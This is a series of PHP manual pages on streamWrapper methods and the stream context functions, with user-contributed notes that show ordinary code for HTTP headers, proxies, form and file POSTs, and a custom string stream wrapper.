When reading the whole file (for example, with file_get_contents()), PHP will call streamWrapper::stream_read() followed by streamWrapper::stream_eof() in a loop but as long as streamWrapper::stream_read() returns a non-empty string, the return value of streamWrapper::stream_eof() is ignored.

See Also

  • fread() - Binary-safe file read
  • fgets() - Gets line from file pointer

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_open
streamWrapper::stream_seek
streamWrapper


Seeks to specific location in a stream

streamWrapper::stream_read
streamWrapper::stream_set_option
streamWrapper
PHP Manual

streamWrapper::stream_seek

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_seek — Seeks to specific location in a stream

Description

public bool streamWrapper::stream_seek ( int $offset , int $whence = SEEK_SET )

This method is called in response to fseek().

The read/write position of the stream should be updated according to the offset and whence.

Parameters

offset

The stream offset to seek to.

whence

Possible values:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

Return Values

Return TRUE if the position was updated, FALSE otherwise.

Notes

Note:

If not implemented, FALSE is assumed as the return value.

Note:

Upon success,
 streamWrapper::stream_tell() is called directly after
calling  streamWrapper::stream_seek(). If
 streamWrapper::stream_tell() fails, the return
value to the caller function will be set to FALSE

Note:

Not all seeks operations on the stream will result in this function being called. PHP streams have read buffering enabled by default (see also stream_set_read_buffer()) and seeking may be done by merely moving the buffer pointer.

See Also

  • fseek() - Seeks on a file pointer

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_read
streamWrapper::stream_set_option
streamWrapper


Change stream options

streamWrapper::stream_seek
streamWrapper::stream_stat
streamWrapper
PHP Manual

streamWrapper::stream_set_option

(PHP 5 >= 5.3.0)

streamWrapper::stream_set_option — Change stream options

Description

public bool streamWrapper::stream_set_option ( int $option , int $arg1 , int $arg2 )

This method is called to set options on the stream.

Parameters

option

One of:

  • STREAM_OPTION_BLOCKING (The method was called in response to stream_set_blocking())
  • STREAM_OPTION_READ_TIMEOUT (The method was called in response to stream_set_timeout())
  • STREAM_OPTION_WRITE_BUFFER (The method was called in response to stream_set_write_buffer())

arg1

If option is

  • STREAM_OPTION_BLOCKING: requested blocking mode (1 meaning block 0 not blocking).
  • STREAM_OPTION_READ_TIMEOUT: the timeout in seconds.
  • STREAM_OPTION_WRITE_BUFFER: buffer mode (STREAM_BUFFER_NONE or STREAM_BUFFER_FULL).

arg2

If option is

  • STREAM_OPTION_BLOCKING: This option is not set.
  • STREAM_OPTION_READ_TIMEOUT: the timeout in microseconds.
  • STREAM_OPTION_WRITE_BUFFER: the requested buffer size.

Return Values

Returns TRUE on success or FALSE on failure. If option is not implemented, FALSE should be returned.

See Also

  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • stream_set_write_buffer() - Sets write file buffering on the given stream

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_seek
streamWrapper::stream_stat
streamWrapper


Retrieve information about a file resource

streamWrapper::stream_set_option
streamWrapper::stream_tell
streamWrapper
PHP Manual

streamWrapper::stream_stat

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_stat — Retrieve information about a file resource

Description

public array streamWrapper::stream_stat ( void )

This method is called in response to fstat().

Parameters

This function has no parameters.

Return Values

See stat().

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

See Also

  • stat() - Gives information about a file
  • streamwrapper::url_stat() - Retrieve information about a file

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_set_option
streamWrapper::stream_tell
streamWrapper


Retrieve the current position of a stream

streamWrapper::stream_stat
streamWrapper::stream_write
streamWrapper
PHP Manual

streamWrapper::stream_tell

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_tell — Retrieve the current position of a stream

Description

public int streamWrapper::stream_tell ( void )

This method is called in response to fseek() to determine the current position.

Parameters

This function has no parameters.

Return Values

Should return the current position of the stream.

See Also

  • streamWrapper::stream_tell()

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_stat
streamWrapper::stream_write
streamWrapper


Write to stream

streamWrapper::stream_tell
streamWrapper::unlink
streamWrapper
PHP Manual

streamWrapper::stream_write

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_write — Write to stream

Description

public int streamWrapper::stream_write ( string $data )

This method is called in response to fwrite().

Note:

Remember to update the current position of the stream by number of bytes that were successfully written.

Parameters

data

Should be stored into the underlying stream.

Note:

If there is not enough room in the underlying stream, store as much as possible.

Return Values

Should return the number of bytes that were successfully stored, or 0 if none could be stored.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Note:

If the return value is greater the length of data, E_WARNING will be emitted and the return value will truncated to its length.

See Also

  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_tell
streamWrapper::unlink
streamWrapper


Delete a file

streamWrapper::stream_write
streamWrapper::url_stat
streamWrapper
PHP Manual

streamWrapper::unlink

(PHP 5)

streamWrapper::unlink — Delete a file

Description

public bool streamWrapper::unlink ( string $path )

This method is called in response to unlink().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support removing files.

Parameters

path

The file URL which should be deleted.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • unlink() - Deletes a file
  • streamWrapper::rmdir() - Removes a directory

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::stream_write
streamWrapper::url_stat
streamWrapper


Retrieve information about a file

streamWrapper::unlink
Stream Functions
streamWrapper
PHP Manual

streamWrapper::url_stat

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::url_stat — Retrieve information about a file

Description

public array streamWrapper::url_stat ( string $path , int $flags )

This method is called in response to all stat() related functions, such as:

  • chmod() (only when safe_mode is enabled)
  • copy()
  • fileperms()
  • fileinode()
  • filesize()
  • fileowner()
  • filegroup()
  • fileatime()
  • filemtime()
  • filectime()
  • filetype()
  • is_writable()
  • is_readable()
  • is_executable()
  • is_file()
  • is_dir()
  • is_link()
  • file_exists()
  • lstat()
  • stat()
  • SplFileInfo::getPerms()
  • SplFileInfo::getInode()
  • SplFileInfo::getSize()
  • SplFileInfo::getOwner()
  • SplFileInfo::getGroup()
  • SplFileInfo::getATime()
  • SplFileInfo::getMTime()
  • SplFileInfo::getCTime()
  • SplFileInfo::getType()
  • SplFileInfo::isWritable()
  • SplFileInfo::isReadable()
  • SplFileInfo::isExecutable()
  • SplFileInfo::isFile()
  • SplFileInfo::isDir()
  • SplFileInfo::isLink()
  • RecursiveDirectoryIterator::hasChildren()

Parameters

path

The file path or URL to stat. Note that in the case of a URL, it must be a :// delimited URL. Other URL forms are not supported.

flags

Holds additional flags set by the streams API. It can hold one or more of the following values OR'd together.

Flag | Description
STREAM_URL_STAT_LINK | For resources with the ability to link to other resource (such as an HTTP Location: forward, or a filesystem symlink). This flag specified that only information about the link itself should be returned, not the resource pointed to by the link. This flag is set in response to calls to lstat(), is_link(), or filetype().
STREAM_URL_STAT_QUIET | If this flag is set, your wrapper should not raise any errors. If this flag is not set, you are responsible for reporting errors using the trigger_error() function during stating of the path.

Return Values

Should return as many elements as stat() does. Unknown or unavailable values should be set to a rational value (usually 0).

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • stat() - Gives information about a file
  • streamwrapper::stream_stat() - Retrieve information about a file resource

User Contributed Notes

There are no user contributed notes for this page.
streamWrapper::unlink
Stream Functions
streamWrapper


Stream Functions

Table of Contents

  • set_socket_blocking — Alias of stream_set_blocking
  • stream_bucket_append — Append bucket to brigade
  • stream_bucket_make_writeable — Return a bucket object from the brigade for operating on
  • stream_bucket_new — Create a new bucket for use on the current stream
  • stream_bucket_prepend — Prepend bucket to brigade
  • stream_context_create — Create a streams context
  • stream_context_get_default — Retrieve the default streams context
  • stream_context_get_options — Retrieve options for a stream/wrapper/context
  • stream_context_get_params — Retrieves parameters from a context
  • stream_context_set_default — Set the default streams context
  • stream_context_set_option — Sets an option for a stream/wrapper/context
  • stream_context_set_params — Set parameters for a stream/wrapper/context
  • stream_copy_to_stream — Copies data from one stream to another
  • stream_encoding — Set character set for stream encoding
  • stream_filter_append — Attach a filter to a stream
  • stream_filter_prepend — Attach a filter to a stream
  • stream_filter_register — Register a user defined stream filter
  • stream_filter_remove — Remove a filter from a stream
  • stream_get_contents — Reads remainder of a stream into a string
  • stream_get_filters — Retrieve list of registered filters
  • stream_get_line — Gets line from stream resource up to a given delimiter
  • stream_get_meta_data — Retrieves header/meta data from streams/file pointers
  • stream_get_transports — Retrieve list of registered socket transports
  • stream_get_wrappers — Retrieve list of registered streams
  • stream_is_local — Checks if a stream is a local stream
  • stream_notification_callback — A callback function for the notification context paramater
  • stream_register_wrapper — Alias of stream_wrapper_register
  • stream_resolve_include_path — Resolve filename against the include path
  • stream_select — Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • stream_set_blocking — Set blocking/non-blocking mode on a stream
  • stream_set_read_buffer — Set read file buffering on the given stream
  • stream_set_timeout — Set timeout period on a stream
  • stream_set_write_buffer — Sets write file buffering on the given stream
  • stream_socket_accept — Accept a connection on a socket created by stream_socket_server
  • stream_socket_client — Open Internet or Unix domain socket connection
  • stream_socket_enable_crypto — Turns encryption on/off on an already connected socket
  • stream_socket_get_name — Retrieve the name of the local or remote sockets
  • stream_socket_pair — Creates a pair of connected, indistinguishable socket streams
  • stream_socket_recvfrom — Receives data from a socket, connected or not
  • stream_socket_sendto — Sends a message to a socket, whether it is connected or not
  • stream_socket_server — Create an Internet or Unix domain server socket
  • stream_socket_shutdown — Shutdown a full-duplex connection
  • stream_supports_lock — Tells whether the stream supports locking.
  • stream_wrapper_register — Register a URL wrapper implemented as a PHP class
  • stream_wrapper_restore — Restores a previously unregistered built-in wrapper
  • stream_wrapper_unregister — Unregister a URL wrapper

User Contributed Notes

marcus at synchromedia dot co dot uk 15-Nov-2007 03:13
I can't find any real documentation on the quoted-printable-encode stream filter, but I've gathered info from several places. It seems there are 4 options that can be passed in the param array as in my other note on this subject:

line-length: integer, simply sets line length before a soft break is inserted
line-break-chars: Which char or chars to consider as a line break - note that "\r\n" will only match CRLF, not CR or LF, so make sure it matches your content.
binary: boolean, hex encodes all control chars, including spaces and line breaks, but leaves alphanumerics untouched
force-encode-first: Forcibly hex-encodes the first char on each line, even if it's alphanumeric. This is useful for avoiding corruption in some incompetent mail servers, like Exchange.
marcus at synchromedia dot co dot uk 30-Oct-2006 10:16
As this article says, there is no quoted_printable_encode function() in PHP: http://www.zend.com/manual/filters.convert.php

However there is a stream filter for quoted printable encoding. Here's an example function that produces output suitable for email and doesn't explicitly use external files (though it might do for strings over 2Mb due to the nature of the temp stream type):

<?php
function quoted_printable_encode($string) {
        $fp = fopen('php://temp/', 'r+');
        $params = array('line-length' => 70, 'line-break-chars' => "\r\n");
        stream_filter_append($fp, 'convert.quoted-printable-encode', STREAM_FILTER_READ, $params);
        fputs($fp, $string);
        rewind($fp);
        return stream_get_contents($fp);
}

echo quoted_printable_encode(str_repeat("hello there ", 50)." a=1\r\n")."\n";
?>

The filter needs to be restricted to STREAM_FILTER_READ because by default it will get filtered both going into and out of the stream, and will thus get encoded twice.

It should be much faster than using a PHP implementation of the same thing, though note that this will only work in PHP 5.1+.
jausions at php dot net 15-May-2006 08:59
For the "notification" index of the $params for stream_context_set_params() function, a callable function is accepted. That is array(&$object, 'methodName') will also work.
streamWrapper::url_stat
set_socket_blocking
Streams


Alias of stream_set_blocking

Stream Functions
stream_bucket_append
Stream Functions
PHP Manual

set_socket_blocking

(PHP 4, PHP 5)

set_socket_blocking — Alias of stream_set_blocking()

Description

This function is an alias of: stream_set_blocking()

Warning

This alias has been DEPRECATED as of PHP 5.3.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
Stream Functions
stream_bucket_append
Stream Functions


Append bucket to brigade

set_socket_blocking
stream_bucket_make_writeable
Stream Functions
PHP Manual

stream_bucket_append

(PHP 5)

stream_bucket_append — Append bucket to brigade

Description

void stream_bucket_append ( resource $brigade , resource $bucket )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
set_socket_blocking
stream_bucket_make_writeable
Stream Functions


Return a bucket object from the brigade for operating on

stream_bucket_append
stream_bucket_new
Stream Functions
PHP Manual

stream_bucket_make_writeable

(PHP 5)

stream_bucket_make_writeable — Return a bucket object from the brigade for operating on

Description

object stream_bucket_make_writeable ( resource $brigade )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
stream_bucket_append
stream_bucket_new
Stream Functions


Create a new bucket for use on the current stream

stream_bucket_make_writeable
stream_bucket_prepend
Stream Functions
PHP Manual

stream_bucket_new

(PHP 5)

stream_bucket_new — Create a new bucket for use on the current stream

Description

object stream_bucket_new ( resource $stream , string $buffer )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
stream_bucket_make_writeable
stream_bucket_prepend
Stream Functions


Prepend bucket to brigade

stream_bucket_new
stream_context_create
Stream Functions
PHP Manual

stream_bucket_prepend

(PHP 5)

stream_bucket_prepend — Prepend bucket to brigade

Description

void stream_bucket_prepend ( resource $brigade , resource $bucket )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
stream_bucket_new
stream_context_create
Stream Functions


Create a streams context

stream_bucket_prepend
stream_context_get_default
Stream Functions
PHP Manual

stream_context_create

(PHP 4 >= 4.3.0, PHP 5)

stream_context_create — Create a streams context

Description

resource stream_context_create ([ array $options [, array $params ]] )

Creates and returns a stream context with any options supplied in options preset.

Parameters

options

Must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Default to an empty array.

params

Must be an associative array in the format $arr['parameter'] = $value. Refer to context parameters for a listing of standard stream parameters.

Return Values

A stream context resource.

Changelog

Version | Description
5.3.0 | Added the optional params argument.

Examples

Example #1 Using stream_context_create()

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

/* Sends an http request to www.example.com
   with additional headers shown above */
$fp = fopen('http://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>

See Also

  • stream_context_set_option() - Sets an option for a stream/wrapper/context
  • Listing of supported wrappers (Supported Protocols and Wrappers)
  • Context options (Context options and parameters)

User Contributed Notes

Anonymous 22-Oct-2010 10:45
If you are trying to set a custom http header on php 5.2.x, try this:

<?php
// build header and set it the usual way
$authenticationHeader = $headername . ': ' . $headervalue;
$opts = array(
    'http' => array(
        'header'  => $authenticationHeader
    )
);
// workaround for php bug where http headers don't get sent in php 5.2
if(version_compare(PHP_VERSION, '5.3.0') == -1){
    ini_set('user_agent', 'PHP-SOAP/' . PHP_VERSION . "\r\n" . $authenticationHeader);
}

$context  = stream_context_create($opts);

// now use context for soap call or whatever...
?>

this is the only option that worked for me.
contact (at) thepointsolution.com 12-Aug-2010 05:29
I big NOTE that i hope will help some one. Something that is not mentioned in the documentation, is that when php is compiled --with-curlwrappers,

So, instead of:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);
?>

You would setup the header this way:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>array("Accept-language: en",
                           "Cookie: foo=bar",
                           "Custom-Header: value")
  )
);

$context = stream_context_create($opts);
?>

This will work.
mathieu dot laurent at gmail dot com 30-Jul-2009 06:15
Connection via Proxy

<?php

$opts = array('http' => array('proxy' => 'tcp://127.0.0.1:8080', 'request_fulluri' => true));
$context = stream_context_create($opts);

$data = file_get_contents('http://www.php.net', false, $context);

echo $data;

?>
Brian Gottier 16-May-2009 12:13
In some cases, set a header option as an array, and not a string, depending on server configuration.

<?php
$opts = array(
  'http'=> array(
    'method'=>   "GET",
    'header'=>    array( "Cookie: foo="bar"l ),
    'user_agent'=>    $_SERVER['HTTP_USER_AGENT']
  )
);
?>
dresel at gmx dot at 21-Apr-2009 02:23
I use this script to send normal data and images (you may have to change Content-Type to send other data), works fine for me :)

<?php
function do_post_request($url, $postdata, $files = null)
{
    $data = "";
    $boundary = "---------------------".substr(md5(rand(0,32000)), 0, 10);

    //Collect Postdata
    foreach($postdata as $key => $val)
    {
        $data .= "--$boundary\n";
        $data .= "Content-Disposition: form-data; name=\"".$key."\"\n\n".$val."\n";
    }

    $data .= "--$boundary\n";

    //Collect Filedata
    foreach($files as $key => $file)
    {
        $fileContents = file_get_contents($file['tmp_name']);

        $data .= "Content-Disposition: form-data; name=\"{$key}\"; filename=\"{$file['name']}\"\n";
        $data .= "Content-Type: image/jpeg\n";
        $data .= "Content-Transfer-Encoding: binary\n\n";
        $data .= $fileContents."\n";
        $data .= "--$boundary--\n";
    }

    $params = array('http' => array(
           'method' => 'POST',
           'header' => 'Content-Type: multipart/form-data; boundary='.$boundary,
           'content' => $data
        ));

   $ctx = stream_context_create($params);
   $fp = fopen($url, 'rb', false, $ctx);

   if (!$fp) {
      throw new Exception("Problem with $url, $php_errormsg");
   }

   $response = @stream_get_contents($fp);
   if ($response === false) {
      throw new Exception("Problem reading data from $url, $php_errormsg");
   }
   return $response;
}

//set data (in this example from post)

//sample data
$postdata = array(
    'name' => $_POST['name'],
    'age' => $_POST['age'],
    'sex' => $_POST['sex']
);

//sample image
$files['image'] = $_FILES['image'];

do_post_request("http://example.com", $postdata, $files);
?>
rlintern at gmail dot com 20-Feb-2009 09:56
I found the following code worked for me for POSTing some binary data to a remote server. I am putting it here since I could not find a quick solution to this by 'googling' or looking through this documentation.

Disclaimer:  I have no idea if this a 'good' solution, since I'm new to PHP, but it may just suit your needs as it did mine.  I am assuming bad things will happen with very large files since the entire file is read into $fileContents.

I am using PHP 5.2.8.

   $fileHandle = fopen("someImage.jpg", "rb");
   $fileContents = stream_get_contents($fileHandle);
   fclose($fileHandle);

   $params = array(
      'http' => array
      (
          'method' => 'POST',
          'header'=>"Content-Type: multipart/form-data\r\n",
          'content' => $fileContents
      )
   );
   $url = "http://somesite.somecompany.com?someParam=someValue";
   $ctx = stream_context_create($params);
   $fp = fopen($url, 'rb', false, $ctx);

   $response = stream_get_contents($fp);
davep at atomicdroplet dot com 17-May-2007 04:02
In addition to the context options mentioned above (appendix N), lower down context options for sockets can be found in appendix P - http://www.php.net/manual/en/transports.php
jrubenstein at gmail dot com 27-Apr-2007 09:36
Something to keep in mind when creating SSL streams (using https://):

<?php
$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>

One would think - the proper way to create a stream options array, would be as follows:

<?php
$context_options = array (
        'https' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

THAT IS THE WRONG WAY!!!
Take notice to the 3rd line: 'https' => array (

The CORRECT way, is as follows:

<?php
$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );
?>

Notice, the NEW 3rd line: 'http' => array (

Now - keep this in mind - I spent several hours trying to trouble shoot my issue, when I finally stumbled upon this non-documented issue.

The complete code to post to a secure page is as follows:

<?php
$data = array ('foo' => 'bar', 'bar' => 'baz');
$data = http_build_query($data);

$context_options = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                . "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
            )
        );

$context = context_create_stream($context_options)
$fp = fopen('https://url', 'r', false, $context);
?>
chris dot vigelius at gmx dot net 11-Apr-2007 05:34
It seems that the authorization example given below by"php at charlesconsulting dot com" does NOT work with PHP 5.2.1, since the 'header' option will be simply ignored if it is not an array (but a string).

The following works:
$url = 'http://protectedstuff.com';
$auth = base64_encode('user:password');
$header = array("Authorization: Basic $auth");
$opts = array( 'http' => array ('method'=>'GET',
                                           'header'=>$header));
$ctx = stream_context_create($opts);
file_get_contents($url,false,$ctx);

See also http://bugs.php.net/bug.php?id=41051
php at charlesconsulting dot com 13-Jan-2007 07:14
Here's an example of retrieving a page which requests a username and password using the basic authorization scheme.  This calls the w3.org web page validator for a password protected page.
//$fileurl contains page to validate
$validateurl="http://validator.w3.org/check?uri=$fileurl";

$cred = sprintf('Authorization: Basic %s',
    base64_encode('username:password') );
$opts = array(
    'http'=>array(
    'method'=>'GET',
    'header'=>$cred)
);
$ctx = stream_context_create($opts);

$validate=file_get_contents($validateurl,false,$ctx);
sp0n9e at gmail dot com 28-Dec-2006 10:18
Here's a very simple way to do posts easily without need of cURL or writing an http request by hand using the tcp:// wrapper.  I like using contexts just because of their ubiquity and the lack of an optional library such as cURL (though one of the more popular libraries).

<?php

$options = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>
      "Accept-language: en\r\n".
      "Content-type: application/x-www-form-urlencoded\r\n",
    'content'=>http_build_query(array('foo'=>'bar'))
));

$context = stream_context_create($options);

fopen('http://www.example.com/',false,$context);

?>
dev at zayso dot org 05-Mar-2006 05:31
Example of a stream for reading a string passed
via a context object.
<?php
/* ----------------------------------------
 * Designed to read from a string
 */
class sfStreamStringRead
{
    const PROTOCOL = 'stringread'; /* Underscore not allowed */

    protected $dataPos  = NULL;
    protected $dataBuf  = NULL;
    protected $dataLen  = NULL;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        /* Verify context has data */
        $contextOptions = stream_context_get_options($this->context);
        if (!isset($contextOptions[self::PROTOCOL]['data'])) {
            return FALSE;
        }
        $this->dataBuf = $contextOptions[self::PROTOCOL]['data'];
        $this->dataLen = strlen($this->dataBuf);
        $this->dataPos = 0;
        return TRUE;
    }
    function stream_read($count){
        $ret = substr($this->dataBuf, $this->dataPos, $count);
        $this->dataPos += strlen($ret);
        return $ret;
    }
    function stream_eof(){
        return $this->dataPos >= $this->dataLen;
    }
    function stream_tell(){
        return $this->dataPos;
    }
    /* ------------------------------------------
     * A few helper functions
     */
    static function genURL()
    {
        return self::PROTOCOL . '://';
    }
    static function genContext($dataBuf)
    {
        return stream_context_create(array(
            self::PROTOCOL => array(
                'data' => $dataBuf,
            ),
        ));
    }
    static function open($dataBuf)
    {
        return fopen(self::genURL(),'r',FALSE,self::genContext($dataBuf));
    }
}
stream_wrapper_register(
    sfStreamStringRead::PROTOCOL,
   'sfStreamStringRead'
);

$sp = sfStreamStringRead::open("Some String Data\n");
echo fgets($sp);
fclose($sp);

?>
net_navard at yahoo dot com 09-Dec-2005 10:38
Hi,you can create an array of parameters(what it's called a stream context),which can be transmitted each time you read or write a stream through a socket.In the below example:

$opts =array('http'=>arra('method'=>"GET",
'header'=>"Accept-language:en\r\n"."Cookie: foo=bar\r\n");

What you're actually doing is create a set of parameters(the protocol to be used,the request method,additional http headers and a cookie) which will be used each time you open a socket connection to request www.example.com.This saves a lot of time if you want to use these parameters (called a stream context) whenever you include them when making a request to www.example.com,instead of having to specify them over and over again.
Using the previous example,say you want to create a stream context,which sends a "Content-Type" http header and utilize it when making a request to www.example.com.Take a look:

$opts = array('http'=>array('method'=>"GET",
'header'=>"Content-Type: text/xml; charset=utf-8");

$context = stream_context_create($opts);
$fp = fopen('http://www.example.com','r',false,$context);
fpassthru($fp);
fclose($fp);

Now,when you make a request to www.example.com,the above http header will be included within the socket and transmitted to the server.Best of luck for you friends,Hossein
stream_bucket_prepend
stream_context_get_default
Stream Functions


Retrieve the default streams context

stream_context_create
stream_context_get_options
Stream Functions
PHP Manual

stream_context_get_default

(PHP 5 >= 5.1.0)

stream_context_get_default — Retrieve the default streams context

Description

resource stream_context_get_default ([ array $options ] )

Returns the default stream context which is used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Options for the default context can optionally be specified with this function using the same syntax as stream_context_create().

Parameters

options
options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Note:

As of PHP 5.3.0, the stream_context_set_default() function can be used to set the default context.

Return Values

A stream context resource.

Examples

Example #1 Using stream_context_get_default()

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$alternate_opts = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>"Content-type: application/x-www-form-urlencoded\r\n" .
              "Content-length: " . strlen("baz=bomb"),
    'content'=>"baz=bomb"
  )
);

$default = stream_context_get_default($default_opts);
$alternate = stream_context_create($alternate_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
 * For www.example.com using context options specified in $default_opts
 */
readfile('http://www.example.com');

/* Sends a POST request directly to www.example.com
 * Using context options specified in $alternate_opts
 */
readfile('http://www.example.com', false, $alternate);

?>

See Also

  • stream_context_create() - Create a streams context
  • Listing of supported wrappers with context options (Supported Protocols and Wrappers).

User Contributed Notes

RQuadling at GMail dot com 02-Jan-2007 01:02
If you are using stream_context_get_default() and are still finding that some functions do not work, make sure that they are not based upon the libxml functions (DOM, SimpleXML and XSLT). These require their own context.

You can easily set them using the following code ...

<?php
// Define the default, system-wide context.
$r_default_context = stream_context_get_default
    (
    array
        (
        'http' => array
            ( // All HTTP requests are passed through the local NTLM proxy server on port 8080.
            'proxy' => 'tcp://127.0.0.1:8080',
            'request_fulluri' => True,
            ),
        )
    );

// Though we said system wide, some extensions need a little coaxing.
libxml_set_streams_context($r_default_context);
?>
stream_context_create
stream_context_get_options
Stream Functions


Retrieve options for a stream/wrapper/context

stream_context_get_default
stream_context_get_params
Stream Functions
PHP Manual

stream_context_get_options

(PHP 4 >= 4.3.0, PHP 5)

stream_context_get_options — Retrieve options for a stream/wrapper/context

Description

array stream_context_get_options ( resource $stream_or_context )

Returns an array of options on the specified stream or context.

Parameters

stream_or_context

The stream or context to get options from

Return Values

Returns an associative array with the options.

Examples

Example #1 stream_context_get_options() example

<?php
$params = array("method" => "POST");

stream_context_get_default(array("http" => $params));

var_dump(stream_context_get_options(stream_context_get_default()));

?>

The above example will output something similar to:

array(1) {
  ["http"]=>
  array(1) {
    ["method"]=>
    string(4) "POST"
  }
}

User Contributed Notes

There are no user contributed notes for this page.
stream_context_get_default
stream_context_get_params
Stream Functions


Retrieves parameters from a context

stream_context_get_options
stream_context_set_default
Stream Functions
PHP Manual

stream_context_get_params

(PHP 5 >= 5.3.0)

stream_context_get_params — Retrieves parameters from a context

Description

array stream_context_get_params ( resource $stream_or_context )

Retrieves parameter and options information from the stream or context.

Parameters

stream_or_context

A stream resource or a context resource

Return Values

Returns an associate array containing all context options and parameters.

Examples

Example #1 stream_context_get_params() example

Basic usage example

<?php
$ctx = stream_context_create();
$params = array("notification" => "stream_notification_callback");
stream_context_set_params($ctx, $params);

var_dump(stream_context_get_params($ctx));
?>

The above example will output something similar to:

array(2) {
  ["notification"]=>
  string(28) "stream_notification_callback"
  ["options"]=>
  array(0) {
  }
}

See Also

  • stream_context_set_option() - Sets an option for a stream/wrapper/context
  • stream_context_get_params()
  • stream_context_set_params() - Set parameters for a stream/wrapper/context

User Contributed Notes

There are no user contributed notes for this page.
stream_context_get_options
stream_context_set_default
Stream Functions


Set the default streams context

stream_context_get_params
stream_context_set_option
Stream Functions
PHP Manual

stream_context_set_default

(PHP 5 >= 5.3.0)

stream_context_set_default — Set the default streams context

Description

resource stream_context_set_default ( array $options )

Set the default stream context which will be used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Uses the same syntax as stream_context_create().

Parameters

options

The options to set for the default context.

Note:

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Return Values

Returns the default stream context.

Examples

Example #1 stream_context_set_default() example

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$default = stream_context_set_default($default_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
 * For www.example.com using context options specified in $default_opts
 */
readfile('http://www.example.com');
?>

See Also

  • stream_context_create() - Create a streams context
  • stream_context_get_default() - Retrieve the default streams context
  • Listing of supported wrappers with context options (Supported Protocols and Wrappers).

User Contributed Notes

There are no user contributed notes for this page.
stream_context_get_params
stream_context_set_option
Stream Functions


Sets an option for a stream/wrapper/context

stream_context_set_default
stream_context_set_params
Stream Functions
PHP Manual

stream_context_set_option

(PHP 4 >= 4.3.0, PHP 5)

stream_context_set_option — Sets an option for a stream/wrapper/context

Description

bool stream_context_set_option ( resource $stream_or_context , string $wrapper , string $option , mixed $value )
bool stream_context_set_option ( resource $stream_or_context , array $options )

Sets an option on the specified context. value is set to option for wrapper

Parameters

stream_or_context

The stream or context resource to apply the options too.

options

The options to set for the default context.

Note:

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

Refer to context options and parameters for a listing of stream options.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
stream_context_set_default
stream_context_set_params
Stream Functions


Set parameters for a stream/wrapper/context

stream_context_set_option
stream_copy_to_stream
Stream Functions
PHP Manual

stream_context_set_params

(PHP 4 >= 4.3.0, PHP 5)

stream_context_set_params — Set parameters for a stream/wrapper/context

Description

bool stream_context_set_params ( resource $stream_or_context , array $params )

Sets parameters on the specified context.

Parameters

stream_or_context

The stream or context to apply the parameters too.

params

An array of parameters to set.

Note:

